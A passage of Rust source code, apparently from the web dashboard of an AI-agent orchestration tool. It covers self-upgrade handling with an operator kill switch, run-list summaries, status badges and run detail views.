3594                .lock()
3595                .unwrap_or_else(PoisonError::into_inner) = None;
3596            out.into_response()
3597        }
3598        Err(error) if error.status != StatusCode::CONFLICT => {
3599            let failure = UpgradeRequestFailure::new(error.message);
3600            *ui.upgrade_request_error
3601                .lock()
3602                .unwrap_or_else(PoisonError::into_inner) = Some(failure.clone());
3603            let mut response = (error.status, Json(&failure)).into_response();
3604            if let Some(value) = failure
3605                .retry_after_secs
3606                .and_then(|secs| secs.to_string().parse().ok())
3607            {
3608                response.headers_mut().insert("retry-after", value);
3609            }
3610            response
3611        }
3612        Err(error) => error.into_response(),
3613    }
3614}
3615
3616async fn upgrade_prepare(ui: &Arc<Ui>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3617    if ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
3618        return Err(ApiError::conflict(
3619            "an upgrade is already in progress (this process started one and it \
3620             has not finished or failed yet)",
3621        ));
3622    }
3623    let recorded = updater::read_progress(&ui.home);
3624    if let Some(p) = upgrade_in_motion(recorded.as_ref()) {
3625        return Err(ApiError::conflict(format!(
3626            "an upgrade is already in progress (stage: {}, {} -> {}). If it \
3627             stays stuck, restart the deck; on start it settles a stale record.",
3628            p.stage.as_str(),
3629            p.from,
3630            p.to.as_deref().unwrap_or("?"),
3631        )));
3632    }
3633
3634    // The same kill switch the background check honours (`disabled_by_env`),
3635    // checked before anything else for the same reason it is read before the
3636    // config there: an operator who set `MAGI_NO_AUTOUPDATE` means "never
3637    // contact GitHub from this process", and a button press must not
3638    // override that any more than a broken `magi.toml` may.
3639    if crate::updater::disabled_by_env() {
3640        return Ok((
3641            StatusCode::OK,
3642            Json(UpgradeView {
3643                from: env!("CARGO_PKG_VERSION").to_owned(),
3644                to: None,
3645                detail: format!(
3646                    "Automatic updates are disabled by {}. Nothing was parked \
3647                     and nothing restarted.",
3648                    crate::updater::NO_AUTOUPDATE_ENV
3649                ),
3650            }),
3651        ));
3652    }
3653
3654    // Check before disturbing listeners or scheduling: no available update
3655    // means there is no reason to restart anything.
3656    let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
3657    let from = env!("CARGO_PKG_VERSION").to_owned();
3658    let latest = match crate::updater::Checker::new(&cfg.update) {
3659        Some(checker) => checker.newer_release().await,
3660        None => Ok(None),
3661    };
3662    upgrade_checked(ui, from, latest)
3663}
3664
3665fn upgrade_checked(
3666    ui: &Arc<Ui>,
3667    from: String,
3668    latest: anyhow::Result<Option<kaishin::LatestRelease>>,
3669) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3670    upgrade_checked_for(ui, from, latest, updater::UpgradeTrigger::Manual)
3671}
3672
3673fn upgrade_checked_for(
3674    ui: &Arc<Ui>,
3675    from: String,
3676    latest: anyhow::Result<Option<kaishin::LatestRelease>>,
3677    trigger: updater::UpgradeTrigger,
3678) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3679    let latest = latest.map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?;
3680    let Some(latest) = latest else {
3681        return Ok((
3682            StatusCode::OK,
3683            Json(UpgradeView {
3684                from,
3685                to: None,
3686                detail: "Already on the newest release. Nothing was parked \
3687                         and nothing restarted."
3688                    .to_owned(),
3689            }),
3690        ));
3691    };
3692
3693    if let Err(error) = daemon::scheduler_restart_options(&ui.home) {
3694        let detail = format!("cannot determine scheduler restart state: {error:#}");
3695        if trigger == updater::UpgradeTrigger::Auto {
3696            updater::log_warn(&ui.home, &format!("auto-upgrade: {detail}"));
3697        }
3698        return Err(ApiError::internal(detail));
3699    }
3700    if trigger == updater::UpgradeTrigger::Auto {
3701        updater::log_step(&ui.home, "auto-upgrade: beginning update and restart");
3702    }
3703
3704    let detail = "Downloading the release, then restarting web and scheduler. Active task and chat workers keep running on their started executable; nothing is parked.".to_owned();
3705
3706    // Recorded before the spawn, not inside it: the phone's next `/api/health`
3707    // poll must see a `Downloading` stage immediately, not whenever the
3708    // spawned task happens to get scheduled.
3709    let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
3710    progress.trigger = trigger;
3711    updater::write_progress_logged(&ui.home, &progress);
3712
3713    let home = ui.home.clone();
3714    ui.upgrade_spawned
3715        .store(true, std::sync::atomic::Ordering::SeqCst);
3716    let spawned = Arc::clone(&ui.upgrade_spawned);
3717    let runner = ui.upgrade_runner;
3718    let failed = ui.auto_failed_tag.clone();
3719    let tag = latest.tag_name.clone();
3720    tokio::spawn(async move {
3721        if let Err(e) = runner(home.clone()).await {
3722            if trigger == updater::UpgradeTrigger::Auto {
3723                *failed.lock().unwrap_or_else(PoisonError::into_inner) = Some(tag);
3724            }
3725            tracing::error!("the upgrade did not complete: {e:#}");
3726            // A failure of this attempt says nothing about a handover an
3727            // earlier request already has in flight; checked and written
3728            // under the progress lock.
3729            let _ = updater::fail_progress(&home, &format!("{e:#}"));
3730            // Release only after failure bookkeeping, before accepting a retry.
3731            spawned.store(false, std::sync::atomic::Ordering::SeqCst);
3732        }
3733    });
3734
3735    Ok((
3736        StatusCode::ACCEPTED,
3737        Json(UpgradeView {
3738            from,
3739            to: Some(latest.tag_name),
3740            detail,
3741        }),
3742    ))
3743}
3744
3745/// Replace the binary, then ask [`serve`] to hand the address over.
3746///
3747/// Separated from the handler so the 202 is already on its way, and separated
3748/// from the spawn so the successor starts only after the listener is dropped.
3749async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
3750    // `yes` and non-interactive: nobody is at a terminal, and a prompt would
3751    // hang the upgrade for as long as the process lives.
3752    crate::updater::run_self_update(true, false, true).await?;
3753    updater::log_step(&home, "binary replaced - recording the replaced stage");
3754    if let Some(mut progress) = updater::read_progress(&home) {
3755        progress.advance(updater::Stage::Replaced);
3756        updater::write_progress_logged(&home, &progress);
3757    }
3758    updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
3759    HANDOVER.notify_one();
3760    updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
3761    Ok(())
3762}
3763
3764/// One row in the run list.
3765///
3766/// The list route returns this rather than whole `RunState`s: the summary of a
3767/// run is a few hundred bytes and the state is megabytes, and the difference
3768/// is what makes the history usable on a mobile link.
3769#[derive(Debug, Serialize)]
3770struct RunSummary {
3771    activity: String,
3772    id: String,
3773    short: String,
3774    status: String,
3775    done: bool,
3776    instruction: String,
3777    title: String,
3778    repo: String,
3779    repo_name: String,
3780    created_at: String,
3781    updated_at: String,
3782    candidates: usize,
3783    viable: usize,
3784    judges: usize,
3785    winner: Option<char>,
3786    reviews: usize,
3787    quota_losses: usize,
3788    event: Option<String>,
3789    /// The later attempt at the same task that replaced this one, if any.
3790    ///
3791    /// Two cards with one title is otherwise unreadable: this is what lets
3792    /// the deck say "superseded by 4043" on the older of the pair.
3793    superseded_by: Option<String>,
3794    /// Blocked on a question nobody has answered.
3795    ///
3796    /// Derived from the question store rather than stored on the run: an agent
3797    /// calling `magi ask` blocks mid-node, and writing a status from there
3798    /// would race the graph's own save of `run.json` and be overwritten at the
3799    /// next node boundary. Asking the store is always true and never races.
3800    waiting: bool,
3801    /// Whether the process recorded as driving this run can still be proven
3802    /// alive. The card uses a confirmed-dead non-terminal run as `stale`,
3803    /// rather than presenting its last graph node as still in flight.
3804    live: crate::run::Liveness,
3805    /// The land loop's last look at the pull request, when there is one.
3806    pr: Option<crate::run::PrRecord>,
3807    /// `status` is `"ready"`, but `[merge] mode = "none"` left it there by
3808    /// design — never picked up by the PR-polling merge watcher, unlike an
3809    /// ordinary `Ready` that may still be a live landing candidate. See
3810    /// [`RunState::unmerged_by_design`]. The front end reads this rather than
3811    /// re-deriving the same check from `status` and `merge.mode` itself.
3812    unmerged_by_design: bool,
3813    /// Derived presentation status matching [`RunDetailView::display_status`].
3814    /// Distinguishes parked runs, crashes, and waiting states from raw node statuses.
3815    #[serde(default)]
3816    display_status: String,
3817    /// What the status badge shows: `display_status`, or `superseded` for a
3818    /// non-live run a later attempt replaced. See [`run_badge_status`].
3819    #[serde(default)]
3820    badge_status: String,
3821    /// Who started the run, as the one label every surface shares; the
3822    /// "origin unknown" wording when the record predates origins.
3823    origin_label: String,
3824}
3825
3826impl RunSummary {
3827    fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
3828        Self {
3829            activity: crate::run_progress::activity(state, live, waiting),
3830            id: state.id.clone(),
3831            short: state.short().to_owned(),
3832            status: status_word(state.status),
3833            done: state.status.done(),
3834            unmerged_by_design: state.unmerged_by_design(),
3835            display_status: run_display_status(state, waiting, live),
3836            badge_status: run_display_status(state, waiting, live),
3837            instruction: state.instruction.clone(),
3838            title: title_from(&state.instruction, TITLE_MAX),
3839            repo: state.repo.display().to_string(),
3840            repo_name: state
3841                .repo
3842                .file_name()
3843                .map(|n| n.to_string_lossy().into_owned())
3844                .unwrap_or_default(),
3845            created_at: state.created_at.to_string(),
3846            updated_at: state.updated_at.to_string(),
3847            candidates: state.candidates.len(),
3848            viable: state.viable().len(),
3849            judges: state.config.graph.judges,
3850            winner: state.winner().map(|c| c.label),
3851            reviews: state.reviews.len(),
3852            quota_losses: state.quota.len(),
3853            event: state
3854                .verification_blocking_cause()
3855                .or_else(|| state.events.last().map(|e| e.message.clone())),
3856            waiting,
3857            live,
3858            // Filled in by the list route, which is the only place that can
3859            // see a task's other attempts.
3860            superseded_by: None,
3861            pr: state.pr.clone(),
3862            origin_label: crate::run::origin_label(state.origin.as_ref()),
3863        }
3864    }
3865}
3866
3867/// `RunStatus` as the wire spells it. Every variant is one word, so this is
3868/// the same string `serde` writes for the status inside a full run.
3869fn status_word(status: RunStatus) -> String {
3870    // `RunStatus::as_str` rather than lowercasing the `Debug` spelling: this
3871    // was a third way of naming the same statuses, and one that changed
3872    // silently with a derive.
3873    status.as_str().to_owned()
3874}
3875
3876/// The presentation status for a run, unified across summaries and details.
3877///
3878/// Distinguishes runs that stopped deliberately at a node boundary (`"parked"`)
3879/// from genuine driver crashes (`"stale"`), while preserving `"waiting"` for
3880/// runs awaiting operator answers.
3881fn run_display_status(state: &RunState, waiting: bool, live: crate::run::Liveness) -> String {
3882    if waiting {
3883        return "waiting".to_owned();
3884    }
3885    if state.unmerged_by_design() {
3886        return "unmerged".to_owned();
3887    }
3888    if !state.status.done() && live == crate::run::Liveness::Dead {
3889        // The driver claim clears this flag before saving another event.
3890        // A previous park event can therefore outlive a resumed driver.
3891        if state.parked {
3892            return "parked".to_owned();
3893        }
3894        return "stale".to_owned();
3895    }
3896    status_word(state.status)
3897}
3898
3899/// The word a run's status badge shows: `display_status`, except that a
3900/// non-terminal run which is not provably live and was replaced by a later
3901/// attempt reads `superseded`, and a confirmed-dead one reads `stale`.
3902///
3903/// Same judgement `magi show` uses (`RunState::liveness`, the task's
3904/// successor); a live driver, `Unknown` liveness and terminal runs keep their
3905/// own word, so superseded never claims more than "not live".
3906fn run_badge_status(
3907    state: &RunState,
3908    display_status: &str,
3909    live: crate::run::Liveness,
3910    superseded: bool,
3911) -> String {
3912    if state.status.done() || live == crate::run::Liveness::Live {
3913        return display_status.to_owned();
3914    }
3915    if superseded {
3916        return "superseded".to_owned();
3917    }
3918    // A dead run's `display_status` is `stale`, except that a deliberate park
3919    // and an open owner question keep their own word: neither is a crash, and
3920    // the question still needs an answer. Anything else dead reads `stale`.
3921    if live == crate::run::Liveness::Dead && !matches!(display_status, "parked" | "waiting") {
3922        return "stale".to_owned();
3923    }
3924    display_status.to_owned()
3925}
3926
3927/// `?limit=`, clamped by the handler.
3928#[derive(Debug, Deserialize)]
3929struct ListQuery {
3930    #[serde(default)]
3931    limit: Option<usize>,
3932    /// Exact ids only; an empty value requests no rows (except queue blockers).
3933    ids: Option<String>,
3934}
3935
3936impl ListQuery {
3937    fn contains(&self, id: &str) -> bool {
3938        self.ids
3939            .as_ref()
3940            .is_none_or(|ids| ids.split(',').any(|wanted| wanted == id))
3941    }
3942}
3943
3944async fn runs_list(
3945    State(ui): State<Arc<Ui>>,
3946    Query(q): Query<ListQuery>,
3947) -> ApiResult<Json<Vec<RunSummary>>> {
3948    let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
3949    blocking(move || {
3950        let (open_runs, claimed, superseded) = run_row_inputs(&ui);
3951        let states = run_ids(&ui.runs)
3952            .into_iter()
3953            // A run whose state cannot be read is skipped, not fatal: a run
3954            // killed mid-write must not blank the history of every other one.
3955            // The detail route still explains it, which is where an operator
3956            // asking "what happened to that run" ends up.
3957            .filter_map(|id| read_run(&ui.runs, &id).ok())
3958            .take(limit)
3959            .filter(|run| q.contains(&run.id));
3960        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
3961        let summaries = summarize(
3962            states,
3963            &open_runs,
3964            &claimed,
3965            &superseded,
3966            |p| probe.borrow_mut().status(p),
3967            |p| probe.borrow_mut().started_at(p),
3968        );
3969        Ok(Json(summaries))
3970    })
3971    .await
3972}
3973
3974/// Everything the per-run rows share, read once: runs with an open question,
3975/// runs a live daemon claims, and the superseded map. Asking per run re-read
3976/// every question file and the daemon status file for each of hundreds of
3977/// runs, and spawned a process probe per run on Windows.
3978fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
3979    let open_runs: HashSet<String> = ui
3980        .questions
3981        .list()
3982        .into_iter()
3983        .filter(|q| q.status.open())
3984        .map(|q| q.run)
3985        .collect();
3986    let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
3987        .into_iter()
3988        .map(|c| c.run)
3989        .collect();
3990    (open_runs, claimed, ui.queue.superseded())
3991}
3992
3993/// The rows of the run list, given everything that is shared between them.
3994///
3995/// Pure over its inputs so a test can count how often the process queries are
3996/// asked; `status_q` / `identity_q` are the queries [`RunState::liveness_with`]
3997/// takes, called at most once per run.
3998fn summarize<I, S, D>(
3999    states: I,
4000    open_runs: &HashSet<String>,
4001    claimed: &HashSet<String>,
4002    superseded: &HashMap<String, String>,
4003    mut status_q: S,
4004    mut identity_q: D,
4005) -> Vec<RunSummary>
4006where
4007    I: IntoIterator<Item = RunState>,
4008    S: FnMut(u32) -> Option<bool>,
4009    D: FnMut(u32) -> Option<String>,
4010{
4011    states
4012        .into_iter()
4013        .map(|state| {
4014            let waiting = open_runs.contains(&state.id);
4015            let live =
4016                state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
4017            let mut row = RunSummary::of(&state, waiting, live);
4018            row.superseded_by = state
4019                .pr_taken_over_by
4020                .as_ref()
4021                .or_else(|| superseded.get(&state.id))
4022                .map(String::as_str)
4023                .map(crate::run::short_of)
4024                .map(str::to_owned);
4025            row.badge_status = run_badge_status(
4026                &state,
4027                &row.display_status,
4028                live,
4029                row.superseded_by.is_some(),
4030            );
4031            row
4032        })
4033        .collect()
4034}
4035
4036/// A run as the detail route hands it to the phone.
4037///
4038/// The whole state, flattened, plus `instruction_md`: the Task panel renders
4039/// the instruction as markdown, and the raw `instruction` field this struct
4040/// still carries (unchanged) is what a client wanting the exact bytes reads
4041/// instead.
4042#[derive(Debug, Serialize)]
4043struct RunDetailView {
4044    progress: crate::run_progress::Progress,
4045    stop_reason: Option<String>,
4046    #[serde(flatten)]
4047    state: RunState,
4048    instruction_md: Vec<md::Node>,
4049    /// Agent-written prose of the run, parsed to markdown nodes. Shapes
4050    /// mirror the records they come from, index for index; the raw strings
4051    /// stay in `state` and decide whether a block is shown at all.
4052    #[serde(flatten)]
4053    prose_md: RunProseMd,
4054    /// Whether a process is actually still driving this run: `"live"`,
4055    /// `"dead"`, or `"unknown"` — see [`crate::run::Liveness`].
4056    ///
4057    /// `state.active` (flattened in above) is only ever cleared by the
4058    /// process that populated it; a killed one leaves its last wave's
4059    /// entries behind. Carrying this alongside is what lets the phone rail
4060    /// tell "this seat is still answering" from "this seat was still
4061    /// answering when whatever was driving this run died" without a second
4062    /// route — see `ActiveSeat`'s own docs for why the entry alone is not
4063    /// proof of either. A string rather than a bool on purpose: a daemon
4064    /// claim proves `"live"`, `driver_pid` answering dead proves `"dead"`,
4065    /// and neither proven is `"unknown"` — folding that third case into
4066    /// either end of a bool is exactly the wrong call for a phone screen an
4067    /// operator uses to decide whether to wait or to act.
4068    live: crate::run::Liveness,
4069    /// Same field and meaning as [`RunSummary::unmerged_by_design`] — kept
4070    /// alongside the flattened `state` rather than inside it, since
4071    /// `RunState` has no business knowing which of its own methods a caller
4072    /// wants serialized.
4073    unmerged_by_design: bool,
4074    /// Same field and meaning as [`RunSummary::waiting`].
4075    #[serde(default)]
4076    waiting: bool,
4077    /// Same derived presentation status as [`RunSummary::display_status`].
4078    #[serde(default)]
4079    display_status: String,
4080    /// Same field and meaning as [`RunSummary::badge_status`].
4081    #[serde(default)]
4082    badge_status: String,
4083    /// Same field and meaning as [`RunSummary::done`]: whether the status is
4084    /// terminal. The client's `landView` keys on it, and the flattened state
4085    /// has no such field, so without it a finished run's stale `open` PR
4086    /// would be painted as live on the detail page.
4087    done: bool,
4088    /// Same field and meaning as [`RunSummary::superseded_by`] — the list
4089    /// route fills it from [`Queue::superseded`], the detail route from
4090    /// [`Queue::superseded_by`], and both read the same underlying task
4091    /// order. Without this the detail page could only ever show a red
4092    /// `BLOCKED`/`FAILED` chip on a run a later attempt had already finished,
4093    /// with nothing anywhere saying so — an operator opening it had no way
4094    /// to tell "this is done elsewhere" from "this still needs a retry".
4095    superseded_by: Option<String>,
4096    /// The task's current attempt, when this run is an older one — resolved
4097    /// from [`Queue::latest_attempt`] and this run's own state, not left for
4098    /// the client to derive.
4099    ///
4100    /// Three things a client cannot safely do on its own drove this onto the
4101    /// server: it has to name the chain's *current head*, not just the next
4102    /// attempt (`superseded_by` above), because an intermediate retry in a
4103    /// longer chain can itself still be unresolved; it has to resolve to a
4104    /// real id rather than a short id a client would have to guess a full id
4105    /// from, which is ambiguous the moment two runs share a suffix; and it
4106    /// has to read that head's own status directly, because whether a run
4107    /// list a client happens to have cached even contains that attempt
4108    /// depends on a page limit this route knows nothing about.
4109    latest_attempt: Option<LatestAttempt>,
4110    /// The queue task this run belongs to, so the detail page can link back
4111    /// to the task's own page. `None` for a run nobody queued (`magi run`).
4112    task: Option<TaskRef>,
4113    /// [`crate::run::Origin::label`], or the "origin unknown" wording for a
4114    /// run recorded before origins existed. `origin` itself (flattened in
4115    /// with `state`) is `null` in that case.
4116    origin_label: String,
4117    /// Each recorded pass over this run, with the cause it stopped for. Empty
4118    /// for a run from before passes were kept: its earlier passes are unknown.
4119    pass_views: Vec<PassView>,
4120}
4121
4122/// A task named from a run's detail page.
4123#[derive(Debug, Serialize)]
4124struct TaskRef {
4125    id: String,
4126    short: String,
4127    title: String,
4128    /// [`Source::label`], e.g. `chat@a1b2`.
4129    source_label: String,
4130    /// Where the task came from, when that place has a page; see [`source_link`].
4131    source_link: Option<SourceLink>,
4132    /// The task's own status (`TaskStatus::as_str`), independent of this run's.
4133    status: &'static str,
4134    attempts: usize,
4135    max_attempts: usize,
4136    /// This run is the last entry of the task's run list.
4137    is_latest: bool,
4138    /// The task's newest run, when it is not this one.
4139    latest: Option<RunBrief>,
4140    /// The run that finished a `done` task (merged, or already in the base).
4141    finished_by: Option<RunBrief>,
4142    /// The task is `done` but no run on record finished it: closed by hand.
4143    closed_by_hand: bool,
4144}
4145
4146/// The page that filed a task, as the UI links to it.
4147#[derive(Debug, PartialEq, Eq, Serialize)]
4148struct SourceLink {
4149    /// `chat` (a conversation) or `run` (a run's node).
4150    kind: &'static str,
4151    /// The full id, never the short one in the label.
4152    id: String,
4153    /// The hash route that opens it.
4154    href: String,
4155}
4156
4157/// Percent-encode everything outside the URL-unreserved set.
4158fn encode_segment(raw: &str) -> String {
4159    let mut out = String::with_capacity(raw.len());
4160    for b in raw.bytes() {
4161        if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
4162            out.push(b as char);
4163        } else {
4164            out.push_str(&format!("%{b:02X}"));
4165        }
4166    }
4167    out
4168}
4169
4170/// The one place that decides where a task's source links to. A chat
4171/// conversation opens `#/chat/<id>`, any other agent node `#/runs/<id>`;
4172/// a person or an imported issue has no page, so no link.
4173fn source_link(source: &Source) -> Option<SourceLink> {
4174    let Source::Agent { run, node } = source else {
4175        return None;
4176    };
4177    let (kind, route) = if node == crate::queue::CHAT_NODE {
4178        ("chat", "chat")
4179    } else {
4180        ("run", "runs")
4181    };
4182    Some(SourceLink {
4183        kind,
4184        id: run.clone(),
4185        href: id_links::page_href(route, run),
4186    })
4187}
4188
4189/// The parent task of a follow-up, when its file can still be read.
4190#[derive(Debug, Serialize, PartialEq)]
4191struct FollowUpParent {
4192    id: String,
4193    short: String,
4194    title: String,
4195    /// The parent's own status (`TaskStatus::as_str`).
4196    status: &'static str,
4197    href: String,
4198}
4199
4200/// The merged run a follow-up was filed from.
4201#[derive(Debug, Serialize, PartialEq)]
4202struct FollowUpRun {
4203    id: String,
4204    short: String,
4205    /// `None` when the run's record cannot be read.
4206    status: Option<&'static str>,
4207    /// `None` unless the record could be read: never a dead link.
4208    href: Option<String>,
4209}
4210
4211/// Where a follow-up task came from, resolved once per task page so the flow
4212/// chart and the detail block cannot disagree. See [`followup_origin`].
4213#[derive(Debug, Serialize, PartialEq)]
4214struct FollowUpOrigin {
4215    /// Present only when `origin_task` is set and that task still exists.
4216    parent: Option<FollowUpParent>,
4217    run: FollowUpRun,
4218    /// The merged pull request, verbatim. Not an href: the client passes it
4219    /// through `forgeUrl()` and renders text when that refuses it (the one
4220    /// exception to "the href rule is Rust's alone", since a forge URL is
4221    /// data from a record, not a route).
4222    pr: String,
4223    findings: Vec<String>,
4224    generation: u32,
4225}
4226
4227/// The one place that decides what a follow-up links to. A parent that cannot
4228/// be read (gone, or an id that names nothing) is `None`, never an error.
4229fn followup_origin(
4230    fu: &crate::queue::FollowUp,
4231    task: impl Fn(&str) -> Option<Task>,
4232    run: impl Fn(&str) -> Option<RunState>,
4233) -> FollowUpOrigin {
4234    let parent = fu
4235        .origin_task
4236        .as_deref()
4237        .and_then(task)
4238        .map(|t| FollowUpParent {
4239            short: t.short().to_owned(),
4240            href: format!("#/tasks/{}", encode_segment(&t.id)),
4241            status: t.status.as_str(),
4242            title: t.title,
4243            id: t.id,
4244        });
4245    let state = run(&fu.run);
4246    FollowUpOrigin {
4247        parent,
4248        run: FollowUpRun {
4249            short: run::short_of(&fu.run).to_owned(),
4250            status: state.as_ref().map(|s| s.status.as_str()),
4251            href: state
4252                .is_some()
4253                .then(|| format!("#/runs/{}", encode_segment(&fu.run))),
4254            id: fu.run.clone(),
4255        },
4256        pr: fu.pr.clone(),
4257        findings: fu.findings.clone(),
4258        generation: fu.generation,
4259    }
4260}
4261
4262/// Another run of the same task, as named from a run's detail page.
4263#[derive(Debug, Serialize)]
4264struct RunBrief {
4265    id: String,
4266    short: String,
4267    /// `None` when the run's record cannot be read.
4268    status: Option<&'static str>,
4269    /// The task-page wording for how that pass ended.
4270    outcome: String,
4271    /// See [`TaskRunView::badge`]; always `None` here (no liveness at hand).
4272    badge: Option<String>,
4273}
4274
4275/// The task's overall outcome as seen from `this_run`'s page, classified with
4276/// the same exits the task page's flowchart uses.
4277fn task_outcome(
4278    task: &Task,
4279    this_run: &str,
4280    max_attempts: usize,
4281    read: impl Fn(&str) -> Option<RunState>,
4282) -> TaskRef {
4283    let max_attempts = task.effective_attempt_limit(max_attempts);
4284    let history = task_history(task, read);
4285    let brief = |h: &TaskRunView| RunBrief {
4286        id: h.id.clone(),
4287        short: h.short.clone(),
4288        status: h.status,
4289        outcome: h.exit.edge_label(h.status),
4290        badge: h.badge.clone(),
4291    };
4292    let is_latest = task.runs.last().is_none_or(|r| r == this_run);
4293    let latest = if is_latest {
4294        None
4295    } else {
4296        history.last().map(brief)
4297    };
4298    let done = task.status == TaskStatus::Done;
4299    let finished_by = done
4300        .then(|| {
4301            history
4302                .iter()
4303                .rev()
4304                .find(|h| {
4305                    matches!(
4306                        h.exit,
4307                        RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
4308                    )
4309                })
4310                .map(brief)
4311        })
4312        .flatten();
4313    TaskRef {
4314        short: task.short().to_owned(),
4315        title: task.title.clone(),
4316        id: task.id.clone(),
4317        source_label: task.source.label(),
4318        source_link: source_link(&task.source),
4319        status: task.status.as_str(),
4320        attempts: task.attempts,
4321        max_attempts,
4322        is_latest,
4323        latest,
4324        closed_by_hand: done && finished_by.is_none(),
4325        finished_by,
4326    }
4327}
4328
4329/// The task's current attempt, as seen from an older one's detail page.
4330#[derive(Debug, Serialize)]
4331struct LatestAttempt {
4332    id: String,
4333    short: String,
4334    /// Whether this attempt itself settled with a result nobody needs to
4335    /// act on further. Deliberately narrow: only `Merged` and `Ready` count.
4336    /// `VerifiedNoop` is excluded on purpose — it is a candidate's own
4337    /// unconfirmed claim that no change was needed, which is exactly why it
4338    /// settles the task through `Held` rather than `Done` and still waits on
4339    /// a human to check the evidence; showing an older run as "finished
4340    /// elsewhere" on the strength of an unverified claim would bury the
4341    /// thing that still needs a look. `Blocked`/`Failed`/`Stalled` and every
4342    /// in-flight status are excluded because they are exactly the
4343    /// unresolved states this field exists to tell apart from a real finish.
4344    resolved: bool,
4345    /// The attempt's own recorded status, so the page can say where it
4346    /// stands while it is not resolved yet.
4347    status: RunStatus,
4348    /// Whether that status is terminal (nothing is still running it).
4349    done: bool,
4350}
4351
4352/// Markdown for the free-text prose of a run, parallel to `RunState`.
4353#[derive(Debug, Default, Serialize)]
4354struct RunProseMd {
4355    /// `None` when the run has no design deliberation.
4356    advice_md: Option<AdviceMd>,
4357    /// One entry per candidate: the summary.
4358    candidate_summaries_md: Vec<Vec<md::Node>>,
4359    /// One entry per review round, in `reviews` order.
4360    reviews_md: Vec<RoundMd>,
4361}
4362
4363#[derive(Debug, Default, Serialize)]
4364struct AdviceMd {
4365    synthesis: Vec<md::Node>,
4366    /// One per record; empty for a seat with no proposal.
4367    approaches: Vec<Vec<md::Node>>,
4368}
4369
4370#[derive(Debug, Default, Serialize)]
4371struct RoundMd {
4372    /// One per reviewer record.
4373    reviewers: Vec<ReviewerMd>,
4374    /// One per `reconsideration` entry: the reason.
4375    reconsideration: Vec<Vec<md::Node>>,
4376    fix: Option<FixMd>,
4377}
4378
4379#[derive(Debug, Default, Serialize)]
4380struct ReviewerMd {
4381    summary: Vec<md::Node>,
4382    /// One per finding, in recorded order (not the display order).
4383    findings: Vec<Vec<md::Node>>,
4384}
4385
4386#[derive(Debug, Default, Serialize)]
4387struct FixMd {
4388    notes: Vec<md::Node>,
4389    /// One per rejection: the argument.
4390    rejected: Vec<Vec<md::Node>>,
4391}
4392
4393/// Parse a run's agent-written prose; a pure function of the state.
4394fn run_prose_md(state: &RunState) -> RunProseMd {
4395    let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
4396    RunProseMd {
4397        advice_md: state.advice.as_ref().map(|a| AdviceMd {
4398            synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
4399            approaches: a
4400                .records
4401                .iter()
4402                .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
4403                .collect(),
4404        }),
4405        candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
4406        reviews_md: state
4407            .reviews
4408            .iter()
4409            .map(|round| RoundMd {
4410                reviewers: round
4411                    .reviews
4412                    .iter()
4413                    .map(|rec| ReviewerMd {
4414                        summary: nodes(&rec.summary),
4415                        findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
4416                    })
4417                    .collect(),
4418                reconsideration: round
4419                    .reconsideration
4420                    .iter()
4421                    .map(|rv| nodes(&rv.reason))
4422                    .collect(),
4423                fix: round.fix.as_ref().map(|fix| FixMd {
4424                    notes: nodes(&fix.notes),
4425                    rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
4426                }),
4427            })
4428            .collect(),
4429    }
4430}
4431
4432impl RunDetailView {
4433    fn of(
4434        state: RunState,
4435        waiting: bool,
4436        live: crate::run::Liveness,
4437        superseded_by: Option<String>,
4438        latest_attempt: Option<LatestAttempt>,
4439        task: Option<TaskRef>,
4440    ) -> Self {
4441        let display_status = run_display_status(&state, waiting, live);
4442        let stop_reason = crate::stop_reason::of(
4443            &state,
4444            latest_attempt.as_ref().map(|a| (a.id.as_str(), a.status)),
4445        );
4446        let badge_status = run_badge_status(&state, &display_status, live, superseded_by.is_some());
4447        Self {
4448            progress: crate::run_progress::build(&state, live, waiting),
4449            stop_reason,
4450            pass_views: state.passes.iter().map(|p| PassView::of(p, None)).collect(),
4451            instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
4452            prose_md: run_prose_md(&state),
4453            origin_label: crate::run::origin_label(state.origin.as_ref()),
4454            live,
4455            unmerged_by_design: state.unmerged_by_design(),
4456            waiting,
4457            display_status,
4458            badge_status,
4459            done: state.status.done(),
4460            superseded_by,
4461            latest_attempt,
4462            task,
4463            state,
4464        }
4465    }
4466}
4467
4468/// Core content needs neither the queue nor question/liveness evidence.
4469async fn run_core(
4470    State(ui): State<Arc<Ui>>,
4471    Path(id): Path<String>,
4472) -> ApiResult<Json<RunDetailView>> {
4473    blocking(move || {
4474        let id = resolve_run(&ui.runs, &id)?;
4475        let state = read_run(&ui.runs, &id)?;
4476        Ok(Json(RunDetailView::of(
4477            state,
4478            false,
4479            crate::run::Liveness::Unknown,
4480            None,
4481            None,
4482            None,
4483        )))
4484    })
4485    .await
4486}
4487
4488/// Lightweight observation: never replaces the evidence used by controls.
4489async fn run_progress(
4490    State(ui): State<Arc<Ui>>,
4491    Path(id): Path<String>,
4492) -> ApiResult<Json<serde_json::Value>> {
4493    blocking(move || {
4494        let id = resolve_run(&ui.runs, &id)?;
4495        let state = read_run(&ui.runs, &id)?;
